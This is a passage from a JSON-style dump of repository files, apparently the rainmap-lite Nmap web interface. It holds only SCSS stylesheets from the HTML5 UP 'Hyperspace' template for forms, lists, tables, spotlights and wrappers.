block;\r\n\t\tfont-size: 1.1em;\r\n\t}\r\n\r\n\tinput[type=\"text\"],\r\n\tinput[type=\"password\"],\r\n\tinput[type=\"email\"],\r\n\tinput[type=\"tel\"],\r\n\tselect,\r\n\ttextarea {\r\n\t\t@include vendor('appearance', 'none');\r\n\t\tbackground: _palette(border-bg);\r\n\t\tborder-radius: _size(border-radius);\r\n\t\tborder: none;\r\n\t\tborder: solid _size(border-width) _palette(border);\r\n\t\tcolor: inherit;\r\n\t\tdisplay: block;\r\n\t\toutline: 0;\r\n\t\tpadding: 0 1em;\r\n\t\ttext-decoration: none;\r\n\t\twidth: 100%;\r\n\r\n\t\t&:invalid {\r\n\t\t\tbox-shadow: none;\r\n\t\t}\r\n\r\n\t\t&:focus {\r\n\t\t\tborder-color: _palette(fg-bold);\r\n\t\t\tbox-shadow: 0 0 0 _size(border-width) _palette(fg-bold);\r\n\t\t}\r\n\t}\r\n\r\n\t.select-wrapper {\r\n\t\t@include icon;\r\n\t\tdisplay: block;\r\n\t\tposition: relative;\r\n\r\n\t\t&:before {\r\n\t\t\tcolor: _palette(border);\r\n\t\t\tcontent: '\\f078';\r\n\t\t\tdisplay: block;\r\n\t\t\theight: _size(element-height);\r\n\t\t\tline-height: _size(element-height);\r\n\t\t\tpointer-events: none;\r\n\t\t\tposition: absolute;\r\n\t\t\tright: 0;\r\n\t\t\ttext-align: center;\r\n\t\t\ttop: 0;\r\n\t\t\twidth: _size(element-height);\r\n\t\t}\r\n\r\n\t\tselect::-ms-expand {\r\n\t\t\tdisplay: none;\r\n\t\t}\r\n\t}\r\n\r\n\tselect {\r\n\t\toption {\r\n\t\t\tbackground-color: _palette(bg);\r\n\t\t\tcolor: _palette(fg-bold);\r\n\t\t}\r\n\t}\r\n\r\n\tinput[type=\"text\"],\r\n\tinput[type=\"password\"],\r\n\tinput[type=\"email\"],\r\n\tselect {\r\n\t\theight: _size(element-height);\r\n\t}\r\n\r\n\ttextarea {\r\n\t\tpadding: 0.75em 1em;\r\n\r\n\t\tbody.is-ie & {\r\n\t\t\tmin-height: 10em;\r\n\t\t}\r\n\t}\r\n\r\n\tinput[type=\"checkbox\"],\r\n\tinput[type=\"radio\"], {\r\n\t\t@include vendor('appearance', 'none');\r\n\t\tdisplay: block;\r\n\t\tfloat: left;\r\n\t\tmargin-right: -2em;\r\n\t\topacity: 0;\r\n\t\twidth: 1em;\r\n\t\tz-index: -1;\r\n\r\n\t\t& + label {\r\n\t\t\t@include icon;\r\n\t\t\tcolor: _palette(fg);\r\n\t\t\tcursor: pointer;\r\n\t\t\tdisplay: inline-block;\r\n\t\t\tfont-size: 1em;\r\n\t\t\tfont-weight: _font(weight);\r\n\t\t\tpadding-left: (_size(element-height) * 0.6) + 0.75em;\r\n\t\t\tpadding-right: 0.75em;\r\n\t\t\tposition: relative;\r\n\r\n\t\t\t&:before {\r\n\t\t\t\tbackground: _palette(border-bg);\r\n\t\t\t\tborder-radius: _size(border-radius);\r\n\t\t\t\tborder: solid _size(border-width) _palette(border);\r\n\t\t\t\tcontent: '';\r\n\t\t\t\tdisplay: inline-block;\r\n\t\t\t\theight: (_size(element-height) * 0.6);\r\n\t\t\t\tleft: 0;\r\n\t\t\t\tline-height: (_size(element-height) * 0.575);\r\n\t\t\t\tposition: absolute;\r\n\t\t\t\ttext-align: center;\r\n\t\t\t\ttop: 0;\r\n\t\t\t\twidth: (_size(element-height) * 0.6);\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&:checked + label {\r\n\t\t\t&:before {\r\n\t\t\t\tbackground: _palette(fg-bold);\r\n\t\t\t\tborder-color: _palette(fg-bold);\r\n\t\t\t\tcolor: _palette(accent3);\r\n\t\t\t\tcontent: '\\f00c';\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&:focus + label {\r\n\t\t\t&:before {\r\n\t\t\t\tborder-color: _palette(fg-bold);\r\n\t\t\t\tbox-shadow: 0 0 0 _size(border-width) _palette(fg-bold);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tinput[type=\"checkbox\"] {\r\n\t\t& + label {\r\n\t\t\t&:before {\r\n\t\t\t\tborder-radius: _size(border-radius);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tinput[type=\"radio\"] {\r\n\t\t& + label {\r\n\t\t\t&:before {\r\n\t\t\t\tborder-radius: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\t::-webkit-input-placeholder {\r\n\t\tcolor: _palette(fg-light) !important;\r\n\t\topacity: 1.0;\r\n\t}\r\n\r\n\t:-moz-placeholder {\r\n\t\tcolor: _palette(fg-light) !important;\r\n\t\topacity: 1.0;\r\n\t}\r\n\r\n\t::-moz-placeholder {\r\n\t\tcolor: _palette(fg-light) !important;\r\n\t\topacity: 1.0;\r\n\t}\r\n\r\n\t:-ms-input-placeholder {\r\n\t\tcolor: _palette(fg-light) !important;\r\n\t\topacity: 1.0;\r\n\t}\r\n\r\n\t.formerize-placeholder {\r\n\t\tcolor: _palette(fg-light) !important;\r\n\t\topacity: 1.0;\r\n\t}"
  },
  {
    "path": "rainmap-lite/nmaper/static/sass/components/_icon.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @n33co\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Icon */\r\n\r\n\t.icon {\r\n\t\t@include icon;\r\n\t\tborder-bottom: none;\r\n\t\tposition: relative;\r\n\r\n\t\t> .label {\r\n\t\t\tdisplay: none;\r\n\t\t}\r\n\r\n\t\t&.major {\r\n\t\t\twidth: 2.5em;\r\n\t\t\theight: 2.5em;\r\n\t\t\tdisplay: block;\r\n\t\t\tbackground: _palette(fg-bold);\r\n\t\t\tborder-radius: 100%;\r\n\t\t\tcolor: _palette(bg);\r\n\t\t\ttext-align: center;\r\n\t\t\tline-height: 2.5em;\r\n\t\t\tmargin: 0 0 (_size(element-margin) * 0.65) 0;\r\n\r\n\t\t\t&:before {\r\n\t\t\t\tfont-size: 1.25em;\r\n\r\n\t\t\t\t.wrapper.style1 & {\r\n\t\t\t\t\tcolor: _palette(accent1);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t.wrapper.style1-alt & {\r\n\t\t\t\t\tcolor: _palette(accent1-alt);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t.wrapper.style2 & {\r\n\t\t\t\t\tcolor: _palette(accent2);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t.wrapper.style2-alt & {\r\n\t\t\t\t\tcolor: _palette(accent2-alt);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t.wrapper.style3 & {\r\n\t\t\t\t\tcolor: _palette(accent3);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t.wrapper.style3-alt & {\r\n\t\t\t\t\tcolor: _palette(accent3-alt);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "rainmap-lite/nmaper/static/sass/components/_image.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @n33co\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Image */\r\n\r\n\t.image {\r\n\t\tborder-radius: _size(border-radius);\r\n\t\tborder: 0;\r\n\t\tdisplay: inline-block;\r\n\t\tposition: relative;\r\n\r\n\t\timg {\r\n\t\t\tborder-radius: _size(border-radius);\r\n\t\t\tdisplay: block;\r\n\t\t}\r\n\r\n\t\t&.left,\r\n\t\t&.right {\r\n\t\t\tmax-width: 40%;\r\n\r\n\t\t\timg {\r\n\t\t\t\twidth: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.left {\r\n\t\t\tfloat: left;\r\n\t\t\tmargin: 0 1.5em 1em 0;\r\n\t\t\ttop: 0.25em;\r\n\t\t}\r\n\r\n\t\t&.right {\r\n\t\t\tfloat: right;\r\n\t\t\tmargin: 0 0 1em 1.5em;\r\n\t\t\ttop: 0.25em;\r\n\t\t}\r\n\r\n\t\t&.fit {\r\n\t\t\tdisplay: block;\r\n\t\t\tmargin: 0 0 _size(element-margin) 0;\r\n\t\t\twidth: 100%;\r\n\r\n\t\t\timg {\r\n\t\t\t\twidth: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.main {\r\n\t\t\tdisplay: block;\r\n\t\t\tmargin: 0 0 (_size(element-margin) * 1.5) 0;\r\n\t\t\twidth: 100%;\r\n\r\n\t\t\timg {\r\n\t\t\t\twidth: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "rainmap-lite/nmaper/static/sass/components/_list.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @n33co\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* List */\r\n\r\n\tol {\r\n\t\tlist-style: decimal;\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\t\tpadding-left: 1.25em;\r\n\r\n\t\tli {\r\n\t\t\tpadding-left: 0.25em;\r\n\t\t}\r\n\t}\r\n\r\n\tul {\r\n\t\tlist-style: disc;\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\t\tpadding-left: 1em;\r\n\r\n\t\tli {\r\n\t\t\tpadding-left: 0.5em;\r\n\t\t}\r\n\r\n\t\t&.alt {\r\n\t\t\tlist-style: none;\r\n\t\t\tpadding-left: 0;\r\n\r\n\t\t\tli {\r\n\t\t\t\tborder-top: solid _size(border-width) _palette(border);\r\n\t\t\t\tpadding: 0.5em 0;\r\n\r\n\t\t\t\t&:first-child {\r\n\t\t\t\t\tborder-top: 0;\r\n\t\t\t\t\tpadding-top: 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.icons {\r\n\t\t\tcursor: default;\r\n\t\t\tlist-style: none;\r\n\t\t\tpadding-left: 0;\r\n\r\n\t\t\tli {\r\n\t\t\t\tdisplay: inline-block;\r\n\t\t\t\tpadding: 0 0.75em 0 0;\r\n\r\n\t\t\t\t&:last-child {\r\n\t\t\t\t\tpadding-right: 0;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t> a, > span {\r\n\t\t\t\t\tborder: 0;\r\n\t\t\t\t\t@include icon;\r\n\r\n\t\t\t\t\t.label {\r\n\t\t\t\t\t\tdisplay: none;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.actions {\r\n\t\t\tcursor: default;\r\n\t\t\tlist-style: none;\r\n\t\t\tpadding-left: 0;\r\n\r\n\t\t\tli {\r\n\t\t\t\tdisplay: inline-block;\r\n\t\t\t\tpadding: 0 (_size(element-margin) * 0.5) 0 0;\r\n\t\t\t\tvertical-align: middle;\r\n\r\n\t\t\t\t&:last-child {\r\n\t\t\t\t\tpadding-right: 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t&.small {\r\n\t\t\t\tli {\r\n\t\t\t\t\tpadding: 0 (_size(element-margin) * 0.25) 0 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t&.vertical {\r\n\t\t\t\tli {\r\n\t\t\t\t\tdisplay: block;\r\n\t\t\t\t\tpadding: (_size(element-margin) * 0.5) 0 0 0;\r\n\r\n\t\t\t\t\t&:first-child {\r\n\t\t\t\t\t\tpadding-top: 0;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t> * {\r\n\t\t\t\t\t\tmargin-bottom: 0;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.small {\r\n\t\t\t\t\tli {\r\n\t\t\t\t\t\tpadding: (_size(element-margin) * 0.25) 0 0 0;\r\n\r\n\t\t\t\t\t\t&:first-child {\r\n\t\t\t\t\t\t\tpadding-top: 0;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t&.fit {\r\n\t\t\t\tdisplay: table;\r\n\t\t\t\tmargin-left: (_size(element-margin) * -0.5);\r\n\t\t\t\tpadding: 0;\r\n\t\t\t\ttable-layout: fixed;\r\n\t\t\t\twidth: calc(100% + #{(_size(element-margin) * 0.5)});\r\n\r\n\t\t\t\tli {\r\n\t\t\t\t\tdisplay: table-cell;\r\n\t\t\t\t\tpadding: 0 0 0 (_size(element-margin) * 0.5);\r\n\r\n\t\t\t\t\t> * {\r\n\t\t\t\t\t\tmargin-bottom: 0;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.small {\r\n\t\t\t\t\tmargin-left: (_size(element-margin) * -0.25);\r\n\t\t\t\t\twidth: calc(100% + #{(_size(element-margin) * 0.25)});\r\n\r\n\t\t\t\t\tli {\r\n\t\t\t\t\t\tpadding: 0 0 0 (_size(element-margin) * 0.25);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t@include breakpoint(xsmall) {\r\n\t\t\t\tmargin: 0 0 _size(element-margin) 0;\r\n\r\n\t\t\t\tli {\r\n\t\t\t\t\tpadding: (_size(element-margin) * 0.5) 0 0 0;\r\n\t\t\t\t\tdisplay: block;\r\n\t\t\t\t\ttext-align: center;\r\n\t\t\t\t\twidth: 100%;\r\n\r\n\t\t\t\t\t> * {\r\n\t\t\t\t\t\twidth: 100%;\r\n\t\t\t\t\t\tmargin: 0 !important;\r\n\r\n\t\t\t\t\t\t&.icon {\r\n\t\t\t\t\t\t\t&:before {\r\n\t\t\t\t\t\t\t\tmargin-left: -2em;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t.button {\r\n\t\t\t\t\t\tpadding: 0;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t&:first-child {\r\n\t\t\t\t\t\tpadding-top: 0;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.small {\r\n\t\t\t\t\tli {\r\n\t\t\t\t\t\tpadding: (_size(element-margin) * 0.25) 0 0 0;\r\n\r\n\t\t\t\t\t\t&:first-child {\r\n\t\t\t\t\t\t\tpadding-top: 0;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.contact {\r\n\t\t\tlist-style: none;\r\n\t\t\tpadding: 0;\r\n\r\n\t\t\t> li {\r\n\t\t\t\tpadding: 0;\r\n\t\t\t\tmargin: 1.5em 0 0 0;\r\n\r\n\t\t\t\t&:first-child {\r\n\t\t\t\t\tmargin-top: 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.menu {\r\n\t\t\tlist-style: none;\r\n\t\t\tpadding: 0;\r\n\r\n\t\t\t> li {\r\n\t\t\t\tborder-left: solid 1px _palette(border);\r\n\t\t\t\tdisplay: inline-block;\r\n\t\t\t\tline-height: 1;\r\n\t\t\t\tmargin-left: 1.5em;\r\n\t\t\t\tpadding: 0 0 0 1.5em;\r\n\r\n\t\t\t\t&:first-child {\r\n\t\t\t\t\tborder-left: 0;\r\n\t\t\t\t\tmargin: 0;\r\n\t\t\t\t\tpadding-left: 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t@include breakpoint(xsmall) {\r\n\t\t\t\t> li {\r\n\t\t\t\t\tborder-left: 0;\r\n\t\t\t\t\tdisplay: block;\r\n\t\t\t\t\tline-height: inherit;\r\n\t\t\t\t\tmargin: 0.5em 0 0 0;\r\n\t\t\t\t\tpadding-left: 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tdl {\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\r\n\t\tdt {\r\n\t\t\tdisplay: block;\r\n\t\t\tfont-weight: _font(weight-bold);\r\n\t\t\tmargin: 0 0 (_size(element-margin) * 0.5) 0;\r\n\t\t}\r\n\r\n\t\tdd {\r\n\t\t\tmargin-left: _size(element-margin);\r\n\t\t}\r\n\t}"
  },
  {
    "path": "rainmap-lite/nmaper/static/sass/components/_section.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @n33co\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Section/Article */\r\n\r\n\tsection, article {\r\n\t\t&.special {\r\n\t\t\ttext-align: center;\r\n\t\t}\r\n\t}\r\n\r\n\theader {\r\n\t\tp {\r\n\t\t\tcolor: _palette(fg-light);\r\n\t\t\tposition: relative;\r\n\t\t\tmargin: 0 0 (_size(element-margin) * 0.75) 0;\r\n\t\t}\r\n\r\n\t\th2 + p {\r\n\t\t\tfont-size: 1.25em;\r\n\t\t\tmargin-top: (_size(element-margin) * -0.5);\r\n\t\t\tline-height: 1.5em;\r\n\t\t}\r\n\r\n\t\th3 + p {\r\n\t\t\tfont-size: 1.1em;\r\n\t\t\tmargin-top: (_size(element-margin) * -0.4);\r\n\t\t\tline-height: 1.5em;\r\n\t\t}\r\n\r\n\t\th4 + p,\r\n\t\th5 + p,\r\n\t\th6 + p {\r\n\t\t\tfont-size: 0.9em;\r\n\t\t\tmargin-top: (_size(element-margin) * -0.3);\r\n\t\t\tline-height: 1.5em;\r\n\t\t}\r\n\t}"
  },
  {
    "path": "rainmap-lite/nmaper/static/sass/components/_split.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @n33co\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Split */\r\n\r\n\t.split {\r\n\t\t@include vendor('display', 'flex');\r\n\r\n\t\t> * {\r\n\t\t\twidth: calc(50% - 2.5em);\r\n\t\t}\r\n\r\n\t\t> :nth-child(2n - 1) {\r\n\t\t\tpadding-right: 2.5em;\r\n\t\t\tborder-right: solid 1px _palette(border);\r\n\t\t}\r\n\r\n\t\t> :nth-child(2n) {\r\n\t\t\tpadding-left: 2.5em;\r\n\t\t}\r\n\r\n\t\t&.style1 {\r\n\t\t\t> :nth-child(2n - 1) {\r\n\t\t\t\twidth: calc(66.66666% - 2.5em);\r\n\t\t\t}\r\n\r\n\t\t\t> :nth-child(2n) {\r\n\t\t\t\twidth: calc(33.33333% - 2.5em);\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint(xlarge) {\r\n\t\t\t> * {\r\n\t\t\t\twidth: calc(50% - 2em);\r\n\t\t\t}\r\n\r\n\t\t\t> :nth-child(2n - 1) {\r\n\t\t\t\tpadding-right: 2em;\r\n\t\t\t}\r\n\r\n\t\t\t> :nth-child(2n) {\r\n\t\t\t\tpadding-left: 2em;\r\n\t\t\t}\r\n\r\n\t\t\t&.style1 {\r\n\t\t\t\t> :nth-child(2n - 1) {\r\n\t\t\t\t\twidth: calc(66.66666% - 2em);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t> :nth-child(2n) {\r\n\t\t\t\t\twidth: calc(33.33333% - 2em);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint(medium) {\r\n\t\t\tdisplay: block;\r\n\r\n\t\t\t> * {\r\n\t\t\t\tborder-top: solid 1px _palette(border);\r\n\t\t\t\tmargin: 4em 0 0 0;\r\n\t\t\t\tpadding: 4em 0 0 0;\r\n\t\t\t\twidth: 100% !important;\r\n\t\t\t}\r\n\r\n\t\t\t> :nth-child(2n - 1) {\r\n\t\t\t\tborder-right: 0;\r\n\t\t\t\tpadding-right: 0;\r\n\t\t\t}\r\n\r\n\t\t\t> :nth-child(2n) {\r\n\t\t\t\tpadding-left: 0;\r\n\t\t\t}\r\n\r\n\t\t\t> :first-child {\r\n\t\t\t\tborder-top: 0;\r\n\t\t\t\tmargin-top: 0;\r\n\t\t\t\tpadding-top: 0;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint(small) {\r\n\t\t\t> * {\r\n\t\t\t\tmargin: 3em 0 0 0;\r\n\t\t\t\tpadding: 3em 0 0 0;\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "rainmap-lite/nmaper/static/sass/components/_spotlights.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @n33co\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Spotlights */\r\n\r\n\t.spotlights {\r\n\t\t> section {\r\n\t\t\t@include vendor('display', 'flex');\r\n\t\t\t@include vendor('flex-direction', 'row');\r\n\t\t\tmin-height: 22.5em;\r\n\r\n\t\t\tbody.is-ie & {\r\n\t\t\t\tmin-height: 0;\r\n\t\t\t}\r\n\r\n\t\t\t> .image {\r\n\t\t\t\tbackground-position: center center;\r\n\t\t\t\tbackground-size: cover;\r\n\t\t\t\tborder-radius: 0;\r\n\t\t\t\tdisplay: block;\r\n\t\t\t\tposition: relative;\r\n\t\t\t\twidth: 25em;\r\n\r\n\t\t\t\timg {\r\n\t\t\t\t\tborder-radius: 0;\r\n\t\t\t\t\tdisplay: block;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&:before {\r\n\t\t\t\t\t@include vendor('transition', 'opacity #{_duration(activation)} ease');\r\n\t\t\t\t\tbackground: transparentize(_palette(bg), 0.1);\r\n\t\t\t\t\tcontent: '';\r\n\t\t\t\t\tdisplay: block;\r\n\t\t\t\t\theight: 100%;\r\n\t\t\t\t\tleft: 0;\r\n\t\t\t\t\topacity: 0;\r\n\t\t\t\t\tposition: absolute;\r\n\t\t\t\t\ttop: 0;\r\n\t\t\t\t\twidth: 100%;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t> .content {\r\n\t\t\t\t@include padding(4em, 5em);\r\n\t\t\t\t@include vendor('display', 'flex');\r\n\t\t\t\t@include vendor('flex-direction', 'column');\r\n\t\t\t\t@include vendor('justify-content', 'center');\r\n\t\t\t\twidth: #{_size(inner-width) - 25em};\r\n\t\t\t\t-ms-flex: 1;\r\n\r\n\t\t\t\t> .inner {\r\n\t\t\t\t\t@include vendor('transform', 'translateX(0) translateY(0)');\r\n\t\t\t\t\t@include vendor('transition', (\r\n\t\t\t\t\t\t'opacity #{_duration(activation)} ease',\r\n\t\t\t\t\t\t'transform #{_duration(activation)} ease'\r\n\t\t\t\t\t));\r\n\t\t\t\t\topacity: 1;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t&:nth-child(1) {\r\n\t\t\t}\r\n\r\n\t\t\t&:nth-child(2) {\r\n\t\t\t\tbackground-color: rgba(0,0,0,0.05);\r\n\t\t\t}\r\n\r\n\t\t\t&:nth-child(3) {\r\n\t\t\t\tbackground-color: rgba(0,0,0,0.1);\r\n\t\t\t}\r\n\r\n\t\t\t&.inactive,\r\n\t\t\tbody.is-loading & {\r\n\t\t\t\t> .image {\r\n\t\t\t\t\t&:before {\r\n\t\t\t\t\t\topacity: 1;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\t> .content {\r\n\t\t\t\t\t> .inner {\r\n\t\t\t\t\t\t@include vendor('transform', 'translateX(-1em)');\r\n\t\t\t\t\t\topacity: 0;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t@include breakpoint(xlarge) {\r\n\t\t\t\t> .content {\r\n\t\t\t\t\t@include padding(4em, 4em);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t@include breakpoint(medium) {\r\n\t\t\t\tdisplay: block;\r\n\r\n\t\t\t\t> .image {\r\n\t\t\t\t\twidth: 100%;\r\n\t\t\t\t\theight: 50vh;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t> .content {\r\n\t\t\t\t\twidth: 100%;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.inactive,\r\n\t\t\t\tbody.is-loading & {\r\n\t\t\t\t\t> .content {\r\n\t\t\t\t\t\t> .inner {\r\n\t\t\t\t\t\t\t@include vendor('transform', 'translateY(1em)');\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t@include breakpoint(small) {\r\n\t\t\t\t> .image {\r\n\t\t\t\t\theight: 50vh;\r\n\t\t\t\t\tmin-height: 15em;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t> .content {\r\n\t\t\t\t\t@include padding(3em, 2em);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n"
  },
  {
    "path": "rainmap-lite/nmaper/static/sass/components/_table.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @n33co\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Table */\r\n\r\n\t.table-wrapper {\r\n\t\t-webkit-overflow-scrolling: touch;\r\n\t\toverflow-x: auto;\r\n\t}\r\n\r\n\ttable {\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\t\twidth: 100%;\r\n\r\n\t\ttbody {\r\n\t\t\ttr {\r\n\t\t\t\tborder: solid _size(border-width) _palette(border);\r\n\t\t\t\tborder-left: 0;\r\n\t\t\t\tborder-right: 0;\r\n\r\n\t\t\t\t&:nth-child(2n + 1) {\r\n\t\t\t\t\tbackground-color: _palette(border-bg);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\ttd {\r\n\t\t\tpadding: 0.75em 0.75em;\r\n\t\t}\r\n\r\n\t\tth {\r\n\t\t\tcolor: _palette(fg-bold);\r\n\t\t\tfont-size: 1em;\r\n\t\t\tfont-weight: _font(weight-bold);\r\n\t\t\tpadding: 0 0.75em 0.75em 0.75em;\r\n\t\t\ttext-align: left;\r\n\t\t}\r\n\r\n\t\tthead {\r\n\t\t\tborder-bottom: solid (_size(border-width) * 2) _palette(border);\r\n\t\t}\r\n\r\n\t\ttfoot {\r\n\t\t\tborder-top: solid (_size(border-width) * 2) _palette(border);\r\n\t\t}\r\n\r\n\t\t&.alt {\r\n\t\t\tborder-collapse: separate;\r\n\r\n\t\t\ttbody {\r\n\t\t\t\ttr {\r\n\t\t\t\t\ttd {\r\n\t\t\t\t\t\tborder: solid _size(border-width) _palette(border);\r\n\t\t\t\t\t\tborder-left-width: 0;\r\n\t\t\t\t\t\tborder-top-width: 0;\r\n\r\n\t\t\t\t\t\t&:first-child {\r\n\t\t\t\t\t\t\tborder-left-width: _size(border-width);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t&:first-child {\r\n\t\t\t\t\t\ttd {\r\n\t\t\t\t\t\t\tborder-top-width: _size(border-width);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tthead {\r\n\t\t\t\tborder-bottom: 0;\r\n\t\t\t}\r\n\r\n\t\t\ttfoot {\r\n\t\t\t\tborder-top: 0;\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "rainmap-lite/nmaper/static/sass/components/_wrapper.scss",
    "content": "///\n/// Hyperspace by HTML5 UP\n/// html5up.net | @n33co\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\n///\n\n/* Wrapper */\n\n\t.wrapper {\n\t\tposition: relative;\n\n\t\t> .inner {\n\t\t\t@include padding(5em, 5em);\n\t\t\tmax-width: 100%;\n\t\t\twidth: _size(inner-width);\n\n\t\t\t@include breakpoint(xlarge) {\n\t\t\t\t@include padding(4em, 4em);\n\t\t\t}\n\n\t\t\t@include breakpoint(large) {\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t\t@include breakpoint(small) {\n\t\t\t\t@include padding(3em, 2em);\n\t\t\t}\n\t\t}\n\n\t\t&.alt {\n\t\t\tbackground-color: _palette(bg-alt);\n\t\t}\n\n\t\t&.style1 {\n\t\t\tbackground-color: _palette(accent1);\n\t\t}\n\n\t\t&.style1-alt {\n\t\t\tbackground-color: _palette(accent1-alt);\n\t\t}\n\n\t\t&.style2 {\n\t\t\tbackground-color: _palette(accent2);\n\t\t}\n\n\t\t&.style2-alt {\n\t\t\tbackground-color: _palette(accent2-alt);\n\t\t}\n\n\t\t&.style3 {\n\t\t\tbackground-color: _palette(accent3);\n\t\t}\n\n\t\t&.style3-alt {\n\t\t\tbackground-color: _palette(accent3-alt);\n\t\t}\n\n\t\t&.fullscreen {\n\t\t\t@include vendor('display', 'flex');\n\t\t\t@include vendor('flex-direction', 'column');\n\t\t\t@include vendor('justify-content', 'center');\n\t\t\tmin-height: 100vh;\n\n\t\t\tbody.is-ie & {\n\t\t\t\theight: 100vh;\n\t\t\t}\n\n\t\t\t@include breakpoint(large) {\n\t\t\t\tmin-height: calc(100vh - 2.5em);\n\n\t\t\t\tbody.is-ie & {\n\t\t\t\t\theight: calc(100vh - 2.5em);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t@include breakpoint(small) {\n\t\t\t\tpadding: 2em 0;\n\t\t\t\tmin-height: 0;\n\n\t\t\t\tbody.is-ie & {\n\t\t\t\t\theight: auto;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t&.fade-up {\n\t\t\t> .inner {\n\t\t\t\t@include vendor('transform', 'translateY(0)');\n\t\t\t\t@include vendor('transition', (\n\t\t\t\t\t'opacity #{_duration(activation)} ease',\n\t\t\t\t\t'transform #{_duration(activation)} ease'\n\t\t\t\t));\n\t\t\t\topacity: 